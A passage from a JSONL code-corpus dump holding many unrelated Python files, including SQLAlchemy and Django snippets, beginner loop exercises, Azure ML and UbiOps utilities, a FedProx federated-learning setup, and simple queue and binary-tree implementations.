db_metadata,\n Column('material_id', Integer, primary_key=True),\n Column('description', String(100)),\n Column('provider', String(100)),\n Column('more_info', String(255)),\n Column('identifier', String(255)),\n )\n\n # make sure the table exists\n if not(m_tbl.exists()):\n m_tbl.create()\n \n material_mapper = mapper(material.Material, m_tbl)\n \n return create_session()\n","sub_path":"mta/tags/2007_03_08/src/scicom/mta/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"597344461","text":"from django.conf.urls import patterns, url\nfrom django.contrib.auth.decorators import login_required\n\nfrom . import views\nfrom . import api_views\n\nurlpatterns = patterns(\n '',\n url(r\"^board/$\", views.BoardList.as_view(), name=\"board_list\"),\n url(r\"^board/mine/$\", views.BoardList.as_view(), name=\"board_list_mine\",\n kwargs={\"mine\" : True}),\n url(r\"^board/public/$\", views.BoardList.as_view(), name=\"board_list_public\",\n kwargs={\"public\" : True}),\n url(r\"^board/new/$\", login_required(views.BoardCreate.as_view()), name=\"board_create\"),\n url(r\"^board/(?P\\d+)/$\", views.BoardDetail.as_view(), name=\"board_detail\"),\n url(r\"^snippet/$\", views.SnippetList.as_view(), name=\"snippet_list\"),\n url(r\"^snippet/new/$\", login_required(views.SnippetCreate.as_view()), name=\"snippet_create\"),\n url(r\"^snippet/(?P\\d+)/$\", views.SnippetDetail.as_view(), name=\"snippet_detail\"),\n url(r\"^snippet/(?P\\d+)/rate/$\", login_required(views.SnippetRate.as_view()),\n name=\"snippet_rate\"),\n\n url(\"^api/$\", api_views.api_root),\n url(r\"^api/snippet/$\", api_views.SnippetList.as_view(), name=\"api-snippet_list\"),\n url(r\"^api/snippet/(?P\\d+)/$\", api_views.SnippetDetail.as_view(), name=\"api-snippet_detail\"),\n)\n \n","sub_path":"src/snippets/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"178687265","text":"def calc_sum(n):\n res = 0\n while n > 0:\n res += n\n n -= 1\n return res\n\ndef power(b, e):\n res = 1\n while e > 0:\n res *= b\n e -= 1\n return res\n\ndef factorial(n):\n res = 1\n while n > 0:\n res *= n\n n -= 1\n return res\n\ndef fib(x, y, n):\n while n > 0:\n print(x + y, end=' ')\n x, y = y, x+y\n n -= 1\n\ndef is_prime(i, n):\n while i < n:\n if n % i == 0:\n return False\n i += 1\n return True\n\nn = 10\narr = [7, 4, -5, 2, -10, 3, -12, -17, 6, 13]\n\ndef print_evens(i, n):\n while i < n:\n if arr[i] % 2 == 0:\n print(arr[i], end=' ')\n i += 1\n\ndef print_odds(i, n):\n while i < n:\n if arr[i] % 2 != 0:\n print(arr[i], end=' ')\n i += 1\n\ndef print_array_reverse(i):\n while i >= 0:\n print(arr[i], end=' ')\n i -= 1\n\ndef print_array(i):\n while i < n:\n print(arr[i], end=' ')\n i += 1\n\ndef reverse_array(i, j):\n while i < j:\n arr[i], arr[j] = arr[j], arr[i]\n i += 1\n j -= 1\n\ndef print_positive(i, n):\n while i < n:\n if arr[i] > 0:\n print(arr[i], end=' ')\n i += 1\n\ndef print_negative(i, n):\n while i < n:\n if arr[i] < 0:\n print(arr[i], end=' ')\n i += 1\n\ndef count_positive(i, n):\n res = 0\n while i < n:\n res += int(arr[i] > 0)\n i += 1\n return res\n\ndef count_negative(i, n):\n res = 0\n while i < n:\n res += int(arr[i] < 0)\n i += 1\n return res\n\ndef count_even(i, n):\n res = 0\n while i < n:\n res += int(arr[i] % 2 == 0)\n i += 1\n return res\n\ndef count_odd(i, n):\n res = 0\n while i < n:\n res += int(arr[i] % 2 != 0)\n i += 1\n return res\n\ndef find_max_array(i, n):\n res = -int(2e9)\n while i < n:\n res = max(res, arr[i])\n i += 1\n return res\n\ndef find_min_array(i, n):\n res = int(2e9)\n while i < n:\n res = min(res, arr[i])\n i += 1\n return res\n\ndef find_item_array(i, n, k):\n while i < n:\n if arr[i] == k:\n return True\n i += 1\n return False\n\n\ns = \"abCdeFghIjkL\"\n\ndef print_str(i):\n while i < len(s):\n print(s[i], end=' ')\n i += 1\n\ndef print_str_reverse(i):\n while i >= 0:\n print(s[i], end=' ')\n i -= 1\n\ndef reverse_str(i, j):\n while i < j:\n s[i], s[j] = s[j], s[i]\n i += 1\n j -= 1\n\ndef print_smalls(i):\n while i < len(s):\n if 'a' <= s[i] and s[i] <= 'z':\n print(s[i], end=' ')\n i += 1\n\ndef print_capitals(i):\n while i < len(s):\n if 'A' <= s[i] and s[i] <= 'Z':\n print(s[i], end=' ')\n i += 1\n\ndef count_smalls(i):\n res = 0\n while i < len(s):\n if 'a' <= s[i] and s[i] <= 'z':\n res += 1\n i += 1\n return res\n\ndef count_capitals(i):\n res = 0\n while i < len(s):\n if 'A' <= s[i] and s[i] <= 'Z':\n res += 1\n i += 1\n return res\n\ndef find_max_str(i):\n res = s[n-1]\n while i < n-1:\n res = max(res, s[i])\n i += 1\n return res\n\ndef find_min_str(i):\n res = s[n-1]\n while i < n-1:\n res = min(res, s[i])\n i += 1\n return res\n\ndef find_item_str(i, k):\n while i < n:\n if s[i] == k:\n return True\n i += 1\n return False\n\n\n# Functionality Testing \n\nprint(\"sum 1 to 4 :\", calc_sum(4))\nprint(\"power 2^10 :\", power(2, 10))\nprint(\"factorial 6 :\", factorial(6))\nprint(\"fibonacci 6 : \")\nfib(0, 1, 6)\nprint()\nprint(\"15 is prime :\", is_prime(2, 15))\nprint(\"17 is prime :\", is_prime(2, 17))\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\nsum 1 to 4 : 10\npower 2^10 : 1024\nfactorial 6 : 720\nfibonacci 6 : 1 2 3 5 8 13 \n15 is prime : 0\n17 is prime : 1\n----------------------------------------------------\n'''\n\nprint(\"array items : \")\nprint_array(0)\nprint()\nprint_array_reverse(n-1)\nprint()\nprint(\"array reverstr ... \")\nreverse_array(0, n-1)\nprint(\"array items : \")\nprint_array(0)\nprint()\nprint_array_reverse(n-1)\nprint()\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\narray items : \n7 4 -5 2 -10 3 -12 -17 6 13 \n13 6 -17 -12 3 -10 2 -5 4 7 \narray reverstr ... \narray items : \n13 6 -17 -12 3 -10 2 -5 4 7 \n7 4 -5 2 -10 3 -12 -17 6 13 \n----------------------------------------------------\n'''\n\nprint(\"count evens :\", count_even(0, n))\nprint(\"count odds :\", count_odd(0, n))\nprint(\"array even items : \")\nprint_evens(0, n)\nprint()\nprint(\"array odd items : \")\nprint_odds(0, n)\nprint()\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\ncount evens : 5\ncount odds : 5\narray even items : 6 -12 -10 2 4 \narray odd items : 13 -17 3 -5 7 \n----------------------------------------------------\n'''\n\nprint(\"count positive :\", count_positive(0, n))\nprint(\"count negative :\", count_negative(0, n))\nprint(\"array positive items : \")\nprint_positive(0, n)\nprint()\nprint(\"array negative items : \")\nprint_negative(0, n)\nprint()\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\ncount positive : 6\ncount negative : 4\narray positive items : 13 6 3 2 4 7 \narray negative items : -17 -12 -10 -5 \n----------------------------------------------------\n'''\n\nprint(\"find max array :\", find_max_array(0, n))\nprint(\"find min array :\", find_min_array(0, n))\nprint(\"find 4 in array :\", find_item_array(0, n, 4))\nprint(\"find 5 in array :\", find_item_array(0, n, 5))\nprint(\"find -4 in array :\", find_item_array(0, n, -4))\nprint(\"find -5 in array :\", find_item_array(0, n, -5))\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\nfind max array : 13\nfind min array : -17\nfind 4 in array : 1\nfind 5 in array : 0\nfind -4 in array : 0\nfind -5 in array : 1\n----------------------------------------------------\n'''\n\nprint(\"str items : \")\nprint_str(0)\nprint()\nprint_str_reverse(n-1)\nprint()\nprint(\"str reverstr ... \")\ns = list(s)\nreverse_str(0, n-1)\ns = ''.join(s)\nprint(\"str items : \")\nprint_str(0)\nprint()\nprint_str_reverse(n-1)\nprint()\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\nstr items : \na b C d e F g h I j k L \nj I h g F e d C b a \nstr reverstr ... \nstr items : \nj I h g F e d C b a k L \na b C d e F g h I j \n----------------------------------------------------\n'''\n\nprint(\"count smalls :\", count_smalls(0))\nprint(\"count capitals :\", count_capitals(0))\nprint(\"str small items : \")\nprint_smalls(0)\nprint()\nprint(\"str capital items : \")\nprint_capitals(0)\nprint()\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\ncount smalls : 8\ncount capitals : 4\nstr small items : j h g e d b a k \nstr capital items : I F C L \n----------------------------------------------------\n'''\n\nprint(\"find max str : \" , find_max_str(0))\nprint(\"find max str : \" , find_min_str(0))\nprint(\"find a in str :\", find_item_str(0, 'a'))\nprint(\"find f in str :\", find_item_str(0, 'f'))\nprint(\"find A in str :\", find_item_str(0, 'A'))\nprint(\"find F in str :\", find_item_str(0, 'F'))\nprint(\"----------------------------------------------------\")\n\n''' Expected Output:\nfind max str : j\nfind max str : C\nfind a in str : 1\nfind f in str : 0\nfind A in str : 0\nfind F in str : 1\n----------------------------------------------------\n'''\n","sub_path":"Lectures/Data-Structures/01-Recursion.py","file_name":"01-Recursion.py","file_ext":"py","file_size_in_byte":7373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"413467334","text":"from azureml.core.compute import ComputeTarget, AmlCompute\nfrom azureml.core.compute_target import ComputeTargetException\nfrom azureml.core import Workspace\nfrom configuration import config_loader\n\nconfig = config_loader()\ncpu_cluster_name = config['cpu_cluster_name']\nws = Workspace.from_config()\ntry:\n cpu_cluster = ComputeTarget(workspace=ws, name=cpu_cluster_name)\n print('Found existing cluster, use it.')\nexcept ComputeTargetException:\n compute_config = AmlCompute.provisioning_configuration(vm_size= config['vm_size'],\n max_nodes= config['max_nodes'],\n location= config['location'])\n cpu_cluster = ComputeTarget.create(ws, cpu_cluster_name, compute_config)\n\ncpu_cluster.wait_for_completion(show_output=True)","sub_path":"Diagnoser/create_compute_cluster.py","file_name":"create_compute_cluster.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"61345108","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport json\n\nfrom django import template\n\n\nregister = template.Library()\n\n\n@register.filter()\ndef remaining_capacity_by_flavors(obj):\n flavors = obj.list_flavors\n\n decorated_obj = \" \".join(\n [(\"

{0} {1}

\").format(\n str(flavor.used_instances),\n flavor.name)\n for flavor in flavors])\n\n decorated_obj = (\"

Capacity remaining by flavors:

\" +\n decorated_obj)\n\n return decorated_obj\n\n\n@register.filter()\ndef all_used_instances(obj):\n flavors = obj.list_flavors\n\n all_used_instances_info = []\n for flavor in flavors:\n info = {}\n info['popup_used'] = (\n '

{0}% total,'\n ' {1} instances of {2}

'.format(\n flavor.used_instances,\n flavor.used_instances,\n flavor.name))\n info['used_instances'] = str(flavor.used_instances)\n\n all_used_instances_info.append(info)\n\n return json.dumps(all_used_instances_info)\n","sub_path":"tuskar_ui/infrastructure/templatetags/chart_helpers.py","file_name":"chart_helpers.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"181784169","text":"from typing import Set\n\nfrom cloudrail.knowledge.drift_detection.base_environment_context_drift_detector import BaseEnvironmentContextDriftDetector\n\n\nclass AwsEnvironmentContextDriftDetector(BaseEnvironmentContextDriftDetector):\n\n @classmethod\n def get_excluded_attributes(cls) -> Set[str]:\n return {'is_managed_by_iac',\n 'origin',\n 'uuid',\n 'creation_date',\n 'function_version',\n 'policy_evaluation_result_map',\n 'aliases',\n 'is_pseudo',\n 'subnets_by_az_map',\n 'account',\n 'property_type',\n 'AWS_CONSOLE_URL',\n 'GLOBAL_REGION',\n 'is_invalidated',\n 'is_tagable',\n 'iac_state',\n 'policy_attach_origin_map',\n 'friendly_name',\n 'is_used',\n 'tf_resource_type',\n 'raw_data',\n 'network_resource',\n 'inbound_connections',\n 'outbound_connections',\n 'publicly_allowing_resources',\n 'is_public',\n 'invalidation',\n 'exposed_to_agw_methods',\n 'acls',\n 'parameters',\n 'policy_to_escalation_actions_map',\n 'is_ever_used',\n 'api_gw_stages',\n 'bucket_objects',\n 'permissions_policies',\n 'subnets',\n 'elasticache_security_group_ids',\n 'elasticache_subnet_ids',\n 'agw_methods_with_valid_integrations_and_allowed_lambda_access',\n 'role_id',\n 'policy_id',\n 'queue_url',\n 'raw_document',\n 'lambda_func_arn_set',\n 'arn',\n 'lambda_func_version',\n 'qualified_arn'}\n","sub_path":"cloudrail/knowledge/drift_detection/aws_environment_context_drift_detector.py","file_name":"aws_environment_context_drift_detector.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"96522434","text":"import sqlalchemy\nfrom sqlalchemy import Column, Integer, String, Float\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\nengine = sqlalchemy.create_engine(\"postgresql+psycopg2://postgres:Vfrcbv0405@localhost:5432/northwind\")\n\nconnection = engine.connect()\n\nresult = connection.execute(\"SELECT * FROM region\")\n\nfor r in result:\n print(r)\n\nresult.close()\n\n# trans = connection.begin()\n# try:\n# connection.execute(\"INSERT INTO superheroes(hero_name, strength) VALUES ('Iron man', 58)\")\n# trans.commit()\n# except:\n# trans.rollback()\n# raise\n# with connection.begin() as trans:\n# connection.execute(\"INSERT INTO superheroes(hero_name, strength) VALUES ('Hulk', 105)\")\n#\n# result = connection.execute(\"SELECT * FROM superheroes\")\n#\n# for r in result:\n# print(r)\n#\n# result.close()\n\nbase = declarative_base()\n\n\nclass Heroes(base):\n __tablename__ = 'heroes'\n\n heroes_id = Column(Integer, primary_key=True)\n full_name = Column(String)\n rating = Column(Float)\n\n\nbase.metadata.create_all(engine)\n\nSession = sessionmaker(bind=engine)\n\nsession = Session()\n\nheroes = Heroes(heroes_id=3, full_name='Black Widow', rating = 4.5)\nsession.add(heroes)\nheroes = Heroes(heroes_id=2, full_name='Capitan America', rating = 4.0)\nsession.add(heroes)\n\nsession.flush() #передает данные в бд. Но это не commit\nsession.commit()\n\nfor item in session.query(Heroes).order_by(Heroes.rating):\n print(item.full_name,' ', item.rating)","sub_path":"scr/orm_test.py","file_name":"orm_test.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"616705297","text":"'''\nCreated on Dec 6, 2009\n\n@author: napier\n'''\nfrom atom import parse_atoms, AtomWithChildren\nimport logging\nimport os\n\nlog = logging.getLogger(\"mp4file\")\n\ndef getFileSize(file):\n file.seek(0, os.SEEK_END)\n endFile = file.tell()\n file.seek(0, os.SEEK_SET)\n return endFile\n\nclass Mp4File(AtomWithChildren):\n def __init__(self, filename):\n file = open(filename, \"rb\")\n # self.atoms = parse_atoms(file, getFileSize(file))\n AtomWithChildren.__init__(self, getFileSize(file),\n '', '', 0, file)","sub_path":"src/mp4file/mp4file.py","file_name":"mp4file.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"395099130","text":"from PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\n\nimport sys, os\n\ndef pushed():\n print(\"clicked...\")\n\ndef window():\n app = QApplication(sys.argv)\n win = QMainWindow()\n win.setGeometry(200, 200, 300, 300)\n win.setWindowTitle(\"Practica\")\n\n label = QLabel(win)\n label.setText(\"label prac\")\n label.move(50, 50)\n\n b1 = QPushButton(win)\n b1.setText(\"prac\")\n b1.clicked.connect(pushed)\n\n win.show()\n sys.exit(app.exec_())\n\n\nwindow()","sub_path":"PyQt5/1_practica.py","file_name":"1_practica.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"373696479","text":"#!/usr/bin/python\nfrom pychartdir import *\nimport cgi, sys\n\n# Get HTTP query parameters\nquery = cgi.FieldStorage()\n\n#\n# Displays the monthly revenue for the selected year. The selected year should be passed in as a\n# query parameter called \"xLabel\"\n#\ntry :\n selectedYear = int(query[\"xLabel\"].value)\nexcept :\n selectedYear = 2005\n\n#\n# Query the database to get monthly reveunes for software, hardware and services for\n# the year. In this demo, we will use random numbers instead of a real database.\n#\nrantable = RanTable(selectedYear, 3, 12)\nrantable.setCol(0, 30 * (selectedYear - 1990), 80 * (selectedYear - 1990))\nrantable.setCol(1, 30 * (selectedYear - 1990), 80 * (selectedYear - 1990))\nrantable.setCol(2, 30 * (selectedYear - 1990), 80 * (selectedYear - 1990))\n\nsoftware = rantable.getCol(0)\nhardware = rantable.getCol(1)\nservices = rantable.getCol(2)\n\n#\n# Now we have read data into arrays, we can draw the chart using ChartDirector\n#\n\n# Create a XYChart object of size 600 x 360 pixels\nc = XYChart(600, 360)\n\n# Set the plotarea at (60, 50) and of size 480 x 270 pixels. Use a vertical gradient color from\n# light blue (eeeeff) to deep blue (0000cc) as background. Set border and grid lines to white\n# (ffffff).\nc.setPlotArea(60, 50, 480, 270, c.linearGradientColor(60, 50, 60, 270, 0xeeeeff, 0x0000cc), -1,\n 0xffffff, 0xffffff)\n\n# Add a title to the chart using 15pt Times Bold Italic font\nc.addTitle(\"Global Revenue for Year %s\" % (selectedYear), \"timesbi.ttf\", 18)\n\n# Add a legend box at (60, 25) (top of the plotarea) with 9pt Arial Bold font\nc.addLegend(60, 25, 0, \"arialbd.ttf\", 9).setBackground(Transparent)\n\n# Add a line chart layer using the supplied data\nlayer = c.addLineLayer2()\nlayer.addDataSet(software, 0xffaa00, \"Software\").setDataSymbol(CircleShape, 9)\nlayer.addDataSet(hardware, 0x00ff00, \"Hardware\").setDataSymbol(DiamondShape, 11)\nlayer.addDataSet(services, 0xff0000, \"Services\").setDataSymbol(Cross2Shape(), 11)\n\n# Set the line width to 3 pixels\nlayer.setLineWidth(3)\n\n# Set the x axis labels. In this example, the labels must be Jan - Dec.\nlabels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sept\", \"Oct\", \"Nov\", \"Dec\"]\nc.xAxis().setLabels(labels)\n\n# Set y-axis tick density to 30 pixels. ChartDirector auto-scaling will use this as the guideline\n# when putting ticks on the y-axis.\nc.yAxis().setTickDensity(30)\n\n# Synchronize the left and right y-axes\nc.syncYAxis()\n\n# Set the y axes titles with 10pt Arial Bold font\nc.yAxis().setTitle(\"USD (Millions)\", \"arialbd.ttf\", 10)\nc.yAxis2().setTitle(\"USD (Millions)\", \"arialbd.ttf\", 10)\n\n# Set all axes to transparent\nc.xAxis().setColors(Transparent)\nc.yAxis().setColors(Transparent)\nc.yAxis2().setColors(Transparent)\n\n# Set the label styles of all axes to 8pt Arial Bold font\nc.xAxis().setLabelStyle(\"arialbd.ttf\", 8)\nc.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\nc.yAxis2().setLabelStyle(\"arialbd.ttf\", 8)\n\n# Create the image and save it in a temporary location\nchart1URL = c.makeTmpFile(\"/tmp/tmpcharts\")\n\n# Create an image map for the chart\nimageMap = c.getHTMLImageMap(\"xystub.py\", \"\", \"title='{dataSetName} @ {xLabel} = USD {value|0}M'\")\n\nprint(\"Content-type: text/html\\n\")\nprint(\"\"\"\n\n\n
\n Database Clickable Charts\n
\n
\n
\n You have click the bar for the year %(selectedYear)s.\n Below is the \"drill-down\" chart showing the monthly details.\n

\n\n View source code\n\n
\n\n\n\n%(imageMap)s\n\n\n\n\n\"\"\" % {\n \"selectedYear\" : selectedYear,\n \"SCRIPT_NAME\" : os.environ[\"SCRIPT_NAME\"],\n \"chart1URL\" : chart1URL,\n \"imageMap\" : imageMap\n })\n","sub_path":"base_lib/ChartDirector/pythondemo_cgi/dbdemo3a.py","file_name":"dbdemo3a.py","file_ext":"py","file_size_in_byte":3965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"14734015","text":"def feast(n,c,m):\n y = n // c\n n = n // c\n if n >= m:\n while n >= m:\n y = y + n // m\n n = n // m + n % m\n else:\n n = 1\n print(round(y))\nif __name__ == '__main__':\n for i in range(int(input())):\n ncm = list(map(int,input().split()))\n n = ncm[0]\n c = ncm[1]\n m = ncm[2]\n feast(n,c,m)","sub_path":"ProblemSolving-Algorithm/Python3/Choclate feast.py","file_name":"Choclate feast.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"63849536","text":"from ubiops_cli.utils import init_client, get_current_project, default_version_zip_name, write_blob\nfrom ubiops_cli.src.helpers.formatting import print_list, print_item\nfrom ubiops_cli.src.helpers.options import *\n\n\nLIST_ITEMS = ['creation_date', 'id', 'created_by']\n\n\n@click.group([\"version_revisions\", \"revisions\"], short_help=\"Manage your deployment version revisions\")\ndef commands():\n \"\"\"Manage your deployment version revisions.\"\"\"\n pass\n\n\n@commands.command(\"list\", short_help=\"List the revisions\")\n@DEPLOYMENT_NAME_OPTION\n@VERSION_NAME_OPTION\n@LIST_FORMATS\ndef revisions_list(deployment_name, version_name, format_):\n \"\"\"\n List the revisions of a deployment version.\n \"\"\"\n\n project_name = get_current_project(error=True)\n\n client = init_client()\n response = client.revisions_list(project_name=project_name, deployment_name=deployment_name, version=version_name)\n client.api_client.close()\n\n print_list(response, LIST_ITEMS, sorting_col=0, fmt=format_)\n\n\n@commands.command(\"get\", short_help=\"Get a revision of a deployment version\")\n@DEPLOYMENT_NAME_OPTION\n@VERSION_NAME_OPTION\n@REVISION_ID\n@GET_FORMATS\ndef revisions_get(deployment_name, version_name, revision_id, format_):\n \"\"\"Get a revision of a deployment version.\"\"\"\n\n project_name = get_current_project(error=True)\n\n client = init_client()\n revision = client.revisions_get(\n project_name=project_name,\n deployment_name=deployment_name,\n version=version_name,\n revision_id=revision_id\n )\n client.api_client.close()\n\n print_item(revision, row_attrs=LIST_ITEMS, fmt=format_)\n\n\n@commands.command(\"download\", short_help=\"Download a revision of a deployment version\")\n@DEPLOYMENT_NAME_OPTION\n@VERSION_NAME_OPTION\n@REVISION_ID\n@ZIP_OUTPUT\n@QUIET\ndef revisions_download(deployment_name, version_name, revision_id, output_path, quiet):\n \"\"\"Download a revision of a deployment version.\n\n The `` option will be used as output location of the zip file. If not specified,\n the current directory will be used. If the `` is a directory, the zip will be\n saved in `[deployment_name]_[deployment_version]_[datetime.now()].zip`.\n \"\"\"\n\n project_name = get_current_project(error=True)\n\n client = init_client()\n with client.revisions_file_download(project_name=project_name, deployment_name=deployment_name,\n version=version_name, revision_id=revision_id) as response:\n filename = default_version_zip_name(deployment_name, version_name)\n output_path = write_blob(response.read(), output_path, filename)\n client.api_client.close()\n\n if not quiet:\n click.echo(\"Zip stored in: %s\" % output_path)\n\n\n@commands.command(\"upload\", short_help=\"Create a revision of a deployment version\")\n@DEPLOYMENT_NAME_OPTION\n@VERSION_NAME_OPTION\n@ZIP_FILE\n@GET_FORMATS\ndef revisions_upload(deployment_name, version_name, zip_path, format_):\n \"\"\"Create a revision of a deployment version by uploading a ZIP.\n\n Please, specify the deployment package `` that should be uploaded.\n \"\"\"\n\n project_name = get_current_project(error=True)\n\n client = init_client()\n revision = client.revisions_file_upload(project_name=project_name, deployment_name=deployment_name,\n version=version_name, file=zip_path)\n client.api_client.close()\n\n print_item(revision, row_attrs=['revision', 'build'], fmt=format_)\n","sub_path":"ubiops_cli/src/deployment_revisions.py","file_name":"deployment_revisions.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"21465838","text":"from mpi4py import MPI\n\nfrom .FedProxAggregator import FedProxAggregator\nfrom .FedProxClientManager import FedProxClientManager\nfrom .FedProxServerManager import FedProxServerManager\nfrom .FedProxTrainer import FedProxTrainer\nfrom ...standalone.fedavg.my_model_trainer_classification import MyModelTrainer as MyModelTrainerCLS\nfrom ...standalone.fedavg.my_model_trainer_nwp import MyModelTrainer as MyModelTrainerNWP\nfrom ...standalone.fedavg.my_model_trainer_tag_prediction import MyModelTrainer as MyModelTrainerTAG\n\n\ndef FedML_init():\n comm = MPI.COMM_WORLD\n process_id = comm.Get_rank()\n worker_number = comm.Get_size()\n return comm, process_id, worker_number\n\n\ndef FedML_FedProx_distributed(process_id, worker_number, device, comm, model, train_data_num, train_data_global,\n test_data_global,\n train_data_local_num_dict, train_data_local_dict, test_data_local_dict, args,\n model_trainer=None, preprocessed_sampling_lists=None):\n if process_id == 0:\n init_server(args, device, comm, process_id, worker_number, model, train_data_num, train_data_global,\n test_data_global, train_data_local_dict, test_data_local_dict, train_data_local_num_dict,\n model_trainer, preprocessed_sampling_lists)\n else:\n init_client(args, device, comm, process_id, worker_number, model, train_data_num, train_data_local_num_dict,\n train_data_local_dict, test_data_local_dict, model_trainer)\n\n\ndef init_server(args, device, comm, rank, size, model, train_data_num, train_data_global, test_data_global,\n train_data_local_dict, test_data_local_dict, train_data_local_num_dict, model_trainer,\n preprocessed_sampling_lists=None):\n if model_trainer is None:\n if args.dataset == \"stackoverflow_lr\":\n model_trainer = MyModelTrainerTAG(model)\n elif args.dataset in [\"fed_shakespeare\", \"stackoverflow_nwp\"]:\n model_trainer = MyModelTrainerNWP(model)\n else: # default model trainer is for classification problem\n model_trainer = MyModelTrainerCLS(model)\n model_trainer.set_id(-1)\n\n # aggregator\n worker_num = size - 1\n aggregator = FedProxAggregator(train_data_global, test_data_global, train_data_num,\n train_data_local_dict, test_data_local_dict, train_data_local_num_dict,\n worker_num, device, args, model_trainer)\n\n # start the distributed training\n backend = args.backend\n if preprocessed_sampling_lists is None:\n server_manager = FedProxServerManager(args, aggregator, comm, rank, size, backend)\n else:\n server_manager = FedProxServerManager(args, aggregator, comm, rank, size, backend,\n is_preprocessed=True,\n preprocessed_client_lists=preprocessed_sampling_lists)\n server_manager.send_init_msg()\n server_manager.run()\n\n\ndef init_client(args, device, comm, process_id, size, model, train_data_num, train_data_local_num_dict,\n train_data_local_dict, test_data_local_dict, model_trainer=None):\n client_index = process_id - 1\n if model_trainer is None:\n if args.dataset == \"stackoverflow_lr\":\n model_trainer = MyModelTrainerTAG(model)\n elif args.dataset in [\"fed_shakespeare\", \"stackoverflow_nwp\"]:\n model_trainer = MyModelTrainerNWP(model)\n else: # default model trainer is for classification problem\n model_trainer = MyModelTrainerCLS(model)\n model_trainer.set_id(client_index)\n backend = args.backend\n trainer = FedProxTrainer(client_index, train_data_local_dict, train_data_local_num_dict, test_data_local_dict,\n train_data_num, device, args, model_trainer)\n client_manager = FedProxClientManager(args, trainer, comm, process_id, size, backend)\n client_manager.run()\n","sub_path":"fedml_api/distributed/fedprox/FedProxAPI.py","file_name":"FedProxAPI.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"306090623","text":"# # 작성일 : 21-06-21\n# # 주제 : 큐, 덱\n# # 난이도 : 하\n# # 담당자 : 윤송\n#\n# # 백준 코드번호 : 18258\n# url: https://www.acmicpc.net/problem/18258\n# # 문제명 : 큐 2\n# # 문제설명 : 큐 구현하기\n# # 해결 방법\n# Linked List를 이용하여 큐를 구현하였다.\n# 참고 : 백준 pypy로 진행\n\n\nimport sys\n\nclass Node:\n def __init__(self, value):\n self.data = value\n self.next = None\n\n\nclass Queue:\n def __init__(self): # 생성자를 이용하면 객체가 생성될때부터 값을 가질 수 있다.\n self.head = None\n self.tail = None\n self.size = 0\n\n # 맨뒤에 데이터 추가\n def push(self, value):\n new_node = Node(value)\n if self.is_empty():\n self.head = new_node\n else:\n self.tail.next = new_node\n self.size += 1\n self.tail = new_node\n\n def pop(self):\n if self.is_empty():\n return -1\n temp = self.head\n self.head = self.head.next\n self.size -= 1\n return temp.data\n\n def get_size(self):\n return self.size\n\n def is_empty(self):\n return 1 if self.head is None else 0\n\n def front(self):\n if self.is_empty():\n return -1\n return self.head.data\n\n def back(self):\n if self.is_empty():\n return -1\n return self.tail.data\n\n\nn = int(input())\nqueue = Queue()\n\nfor _ in range(n):\n msg = list(sys.stdin.readline().split())\n\n if msg[0] == 'push':\n queue.push(msg[1])\n elif msg[0] == 'pop':\n print(queue.pop())\n elif msg[0] == 'size':\n print(queue.get_size())\n elif msg[0] == 'empty':\n print(queue.is_empty())\n elif msg[0] == 'front':\n print(queue.front())\n elif msg[0] == 'back':\n print(queue.back())\n","sub_path":"18258_queue.py","file_name":"18258_queue.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"500817770","text":"class BinaryTree:\n def __init__(self):\n self.root = None;\n\n\n def add(self, data):\n if self.root:\n return self.root.add(data)\n\n else:\n self.root = Node(data)\n return True\n\n\n def get(self, data):\n if self.root:\n return self.root.find(data)\n else:\n return False\n\n\n def preorder(self):\n print('Pre-order')\n self.root.preorder()\n\n\n def postorder(self):\n 